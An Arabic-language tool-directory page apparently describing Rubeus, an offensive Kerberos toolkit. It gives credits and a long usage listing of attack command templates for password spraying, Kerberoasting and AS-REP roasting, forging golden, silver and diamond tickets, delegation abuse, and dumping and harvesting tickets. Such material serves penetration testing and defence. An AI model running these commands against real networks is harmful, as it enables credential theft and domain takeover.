Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Rubeus — محاولة ترويض الكلب ذو الرؤوس الثلاثة. | Kitploit
أدوات/GitHubGitHub/ghostpack/rubeus
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقالمصادقةالفريق الأحمر
GitHubghostpack/rubeus

Rubeus

محاولة ترويض الكلب ذو الرؤوس الثلاثة.

عرض المستودع
5.1k898منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Rubeus


Rubeus هي مجموعة أدوات بلغة C# للتفاعل الخام مع Kerberos وإساءة استخدامه. إنها مقتبسة بشكل كبير من مشروع Benjamin Delpy المسمى Kekeo (ترخيص CC BY-NC-SA 4.0) ومن مشروع Vincent LE TOUX المسمى MakeMeEnterpriseAdmin (ترخيص GPL v3.0). يعود الفضل الكامل لبنيامين وفنسنت في حل المكونات الصعبة للتسليح - بدون عملهما السابق لم يكن هذا المشروع موجودًا.

Charlie Clark و Ceri Coburn قدما مساهمات كبيرة كمطورين مشاركين في قاعدة كود Rubeus. Elad Shamir ساهم ببعض الأعمال الأساسية للتفويض المقيد القائم على الموارد. عملهما محل تقدير كبير!

يستخدم Rubeus أيضًا مكتبة تحليل/ترميز ASN.1 بلغة C# من Thomas Pornin تسمى DDer والتي تم إصدارها بترخيص "شبيه MIT". شكر جزيل لتوماس على كوده النظيف والمستقر!

كود PKINIT مقتبس بشكل كبير من أداة @SteveSyfuhs المسماة Bruce. جعلت Bruce فهم RFC4556 (PKINIT) أسهل بكثير. شكر جزيل لستيف!

ترميز وفك ترميز NDR لـ Kerberos PAC يعتمد على مكتبة NtApiDotNet من @tiraniddo، شكرًا لك جيمس.

طريقة KerberosRequestorSecurityToken.GetRequest للـ Kerberoasting تمت المساهمة بها في PowerView (ثم تم دمجها في Rubeus) بواسطة @machosec.

@harmj0y هو المؤلف الرئيسي لقاعدة الكود هذه.

Rubeus مرخصة بموجب ترخيص BSD 3-Clause.

جدول المحتويات

  • Rubeus
    • جدول المحتويات
    • خلفية
      • استخدام سطر الأوامر
      • ملاحظات أمن العمليات
        • نظرة عامة
        • التسليح
        • مثال: استخراج بيانات الاعتماد
        • مثال: تجزئة التجزئة الزائدة
    • طلبات التذاكر وتجديدها
      • asktgt
      • asktgs
      • renew
      • brute|spray
    • استغلال التفويض المقيد
      • s4u
    • تزوير التذاكر
      • golden
      • silver
      • diamond
    • إدارة التذاكر
      • ptt
      • purge
      • describe
    • استخراج وجمع التذاكر
      • triage
      • klist
      • dump
      • tgtdeleg
      • monitor
      • harvest
    • التحميص
      • kerberoast
        • أمن العمليات للـ kerberoasting
        • أمثلة
      • asreproast
    • متنوع
      • createnetonly
      • changepw
      • hash
      • tgssub
      • currentluid
      • logonsession
      • asrep2kirbi
      • kirbi
    • تعليمات التجميع

خلفية

استخدام سطر الأوامر

root@kitploit:~
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


 طلبات التذاكر وتجديدها:

    استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، مع حفظ اختياري في ملف أو تطبيقه على جلسة تسجيل الدخول الحالية أو LUID معينة:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، مع حفظ اختياري في ملف أو تطبيقه على جلسة تسجيل الدخول الحالية أو LUID معينة:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    استرداد TGT بناءً على كلمة مرور/تجزئة مستخدم، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    استرداد TGT باستخدام شهادة PKCS12، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    استرداد TGT باستخدام شهادة من مخزن المستخدم (بطاقة ذكية) مع تحديد بصمة الشهادة أو الموضوع، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]

    استرداد TGT مناسب لتغيير حساب بكلمة مرور منتهية الصلاحية باستخدام أمر changepw:
        Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]

    طلب TGT دون إرسال بيانات ما قبل المصادقة:
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    طلب تذكرة خدمة باستخدام AS-REQ:
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

   استرداد تذكرة خدمة لـ SPN واحد أو أكثر، مع حفظ أو تطبيق التذكرة اختياريًا:
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

استرداد تذكرة خدمة باستخدام خيارات طلب قائمة مفاتيح Kerberos:
    	Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

استرداد تذكرة حساب خدمة مُدار مفوض:
    	Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    تجديد TGT، مع تطبيق التذكرة اختياريًا، أو حفظها، أو التجديد التلقائي حتى حد إعادة التجديد:
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    تنفيذ هجوم تخمين كلمة مرور قائم على Kerberos:
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    إجراء مسح للحسابات التي لا تتطلب مصادقة مسبقة:
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 استغلال التفويض المقيد:

    تنفيذ استغلال التفويض المقيد S4U:
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    تنفيذ استغلال التفويض المقيد S4U عبر النطاقات:
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]


 تزوير التذاكر:

    تزوير تذكرة ذهبية باستخدام LDAP لجمع المعلومات ذات الصلة:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة ذهبية باستخدام LDAP لجمع المعلومات ذات الصلة ولكن مع تجاوز صريح لبعض القيم:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة ذهبية، مع تعيين القيم بشكل صريح:
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية باستخدام LDAP لجمع المعلومات ذات الصلة:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية باستخدام LDAP لجمع المعلومات ذات الصلة، مع استخدام مفتاح KRBTGT لحساب KDCChecksum و TicketChecksum:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية باستخدام LDAP لجمع المعلومات ذات الصلة ولكن مع تجاوز صريح لبعض القيم:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية باستخدام LDAP لجمع المعلومات ذات الصلة وتضمين قسم معلومات تفويض S4U في PAC:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية باستخدام LDAP لجمع المعلومات ذات الصلة مع تعيين cname و crealm مختلفين:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    تزوير تذكرة فضية، مع تعيين القيم بشكل صريح:
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

	تزوير TGT ماسي عن طريق طلب TGT بناءً على كلمة مرور/تجزئة مستخدم:
		Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	تزوير TGT ماسي عن طريق طلب TGT باستخدام شهادة PKCS12:
		Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	تزوير TGT ماسي عن طريق طلب TGT باستخدام tgtdeleg:
		Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 إدارة التذاكر:

    إرسال TGT، مع استهداف LUID معينة اختياريًا (إذا كان مرتفع الصلاحيات):
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    مسح التذاكر من جلسة تسجيل الدخول الحالية، مع استهداف LUID معينة اختياريًا (إذا كان مرتفع الصلاحيات):
        Rubeus.exe purge [/luid:LOGINID]

    تحليل ووصف تذكرة (تذكرة خدمة أو TGT):
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]


 استخراج وجمع التذاكر:

    فرز جميع التذاكر الحالية (إذا كان مرتفع الصلاحيات، قم بإدراجها لجميع المستخدمين)، مع استهداف LUID أو اسم مستخدم أو خدمة معينة اختياريًا:
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    سرد جميع التذاكر الحالية بالتفصيل (إذا كان مرتفع الصلاحيات، قم بإدراجها لجميع المستخدمين)، مع استهداف LUID معينة اختياريًا:
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    تفريغ جميع بيانات التذاكر الحالية (إذا كان مرتفع الصلاحيات، قم بالتفريغ لجميع المستخدمين)، مع استهداف خدمة/LUID معينة اختياريًا:
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    استرداد ملف .kirbi لـ TGT قابل للاستخدام للمستخدم الحالي (مع مفتاح الجلسة) بدون رفع الصلاحيات عن طريق إساءة استخدام Kerberos GSS-API، وتزييف التفويض:
        Rubeus.exe tgtdeleg [/target:SPN]مراقبة كل /interval ثانية (الافتراضي 60) للحصول على TGTs جديدة:
        Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

    مراقبة كل /monitorinterval ثانية (الافتراضي 60) للحصول على TGTs جديدة، وتجديد TGTs تلقائيًا، وعرض ذاكرة التخزين المؤقت العاملة كل /displayinterval ثانية (الافتراضي 1200):
        Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]


 التحميص (Roasting):

    إجراء تحميص Kerberos (Kerberoasting):
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    إجراء تحميص Kerberos، مع إخراج التجزئات إلى ملف:
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps]

    إجراء تحميص Kerberos، مع إخراج التجزئات بتنسيق ملف الإخراج، ولكن إلى وحدة التحكم:
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    إجراء تحميص Kerberos ببيانات اعتماد بديلة:
        Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    إجراء تحميص Kerberos باستخدام TGT موجود:
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    إجراء تحميص Kerberos باستخدام TGT موجود مع مدير مؤسسي (enterprise principal):
        Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

    إجراء تحميص Kerberos باستخدام TGT موجود وإعادة المحاولة تلقائيًا مع المدير المؤسسي إذا فشل أي منها:
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    إجراء تحميص Kerberos باستخدام tgtdeleg ticket لطلب تذاكر الخدمة - يطلب RC4 لحسابات AES:
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    إجراء تحميص Kerberos "آمن عملياتيًا" (opsec)، باستخدام tgtdeleg، وتصفية الحسابات الممكّنة بـ AES:
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    عرض إحصائيات حول حسابات Kerberoastable الموجودة دون إرسال طلبات تذاكر فعليًا:
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    إجراء تحميص Kerberos، وطلب تذاكر فقط للحسابات التي لديها عدد إداري (admin count) يساوي 1 (مرشح LDAP مخصص):
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    إجراء تحميص Kerberos، وطلب تذاكر فقط للحسابات التي تم تعيين كلمة مرورها آخر مرة بين 01-31-2005 و 03-29-2010، مع إرجاع ما يصل إلى 5 تذاكر خدمة:
        Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]

    إجراء تحميص Kerberos، مع تأخير 5000 ملي ثانية وارتعاش بنسبة 30%:
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    إجراء تحميص Kerberos AES:
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    إجراء تحميص Kerberos باستخدام حساب بدون توثيق مسبق عن طريق إرسال طلبات AS-REQ:
        Rubeus.exe kerberoast </spn:""blah/blah"" | /spns:C:\temp\spns.txt> /nopreauth:USER /domain:DOMAIN [/dc:DOMAIN_CONTROLLER] [/nowrap]

    إجراء "تحميص" AS-REP لأي مستخدمين بدون توثيق مسبق:
        Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]

    إجراء "تحميص" AS-REP لأي مستخدمين بدون توثيق مسبق، مع إخراج تنسيق Hashcat إلى ملف:
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/des]

    إجراء "تحميص" AS-REP لأي مستخدمين بدون توثيق مسبق باستخدام بيانات اعتماد بديلة:
        Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]


 متنوعات:

    إنشاء برنامج مخفي (إلا إذا تم تمرير /show) ببيانات اعتماد عشوائية /netonly، مع عرض PID و LUID:
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]

    إعادة تعيين كلمة مرور مستخدم من TGT مزود (AoratoPw):
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME]

    حساب تجزئات rc4_hmac و aes128_cts_hmac_sha1 و aes256_cts_hmac_sha1 و des_cbc_md5:
        Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]

    استبدال sname أو SPN في تذكرة خدمة موجودة:
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:DOMAIN] [/ptt] [/luid] [/nowrap]

    عرض LUID للمستخدم الحالي:
        Rubeus.exe currentluid

    عرض معلومات حول جلسة تسجيل الدخول (الحالية) أو (المستهدفة)، افتراضيًا كل مقروء:
        Rubeus.exe logonsession [/current] [/luid:X]

    الوسيطة "/consoleoutfile:C:\FILE.txt" تعيد توجيه كل مخرجات وحدة التحكم إلى الملف المحدد.

    العلم "/nowrap" يمنع أي كتل تذاكرة base64 من الالتفاف في الأعمدة لأي وظيفة.

    العلم "/debug" يقوم بإخراج معلومات تصحيح ASN.1.
	
    تحويل AS-REP ومفتاح إلى Kirbi:
